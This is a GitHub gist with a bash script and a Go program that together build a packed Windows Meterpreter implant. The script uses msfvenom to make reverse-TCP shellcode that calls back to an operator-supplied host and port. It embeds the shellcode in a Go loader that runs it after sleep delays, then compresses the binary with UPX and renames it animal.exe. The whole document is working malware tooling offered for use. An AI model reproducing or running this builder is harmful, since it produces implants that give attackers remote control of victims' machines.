Skip to content

Instantly share code, notes, and snippets.

@prachauthit
Last active July 13, 2020 13:30
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save prachauthit/ca7754e07901d09554b8036fb2f11bfd to your computer and use it in GitHub Desktop.
Save prachauthit/ca7754e07901d09554b8036fb2f11bfd to your computer and use it in GitHub Desktop.
golang with msf shellcode generator and unpacker
#!/bin/bash
#### git clone https://github.com/brimstone/go-shellcode
#### go get github.com/brimstone/go-shellcode
if ! [ -x "$(command -v go)" ]; then
echo 'Error: Missing golang - apt-get install golang.' >&2
exit 1
fi
if ! [ -x "$(command -v msfvenom)" ]; then
echo 'Error: Missing msfvenom - apt-get install metasploit-framework.' >&2
exit 1
fi
if ! [ -x "$(command -v upx)" ]; then
echo 'Error: Missing upx - apt-get install upx.' >&2
exit 1
fi
while getopts h:p: option
do
case "${option}"
in
p) LPORT=${OPTARG};;
h) LHOST=${OPTARG};;
esac
done
if [ -z "$LPORT" ]
then
echo "[-] Please use -p to specify a port (LPORT)"
exit
elif [ -z "$LHOST" ]
then
echo "[-] Please use -h to specify a hostname or ipaddress (LHOST)"
exit
else
##Clean up
rm -rf *.exe
rm -rf *.tmp
rm -rf *.go
#Build and pack
cp main.skel main.go
env GOOS=windows GOARCH=amd64 go build
#get the current directory name
target=${PWD##*/}.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -b \x00 -f hex -o sc_hex.tmp
sed -i "s/ZSHELLCODESHELLCODEZ/$(cat sc_hex.tmp)/" main.go
upx compress $target --brute
mv $target animal.exe
fi
package main
import (
"encoding/hex"
"fmt"
shellcode "github.com/brimstone/go-shellcode"
"os"
"time"
)
func main() {
time.Sleep(10)
sc := "ZSHELLCODESHELLCODEZ"
sc_bin, err := hex.DecodeString(sc)
time.Sleep(5)
if err != nil {
fmt.Printf("Error decoding arg 1: %s\n", err)
os.Exit(1)
}
shellcode.Run(sc_bin)
time.Sleep(19)
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment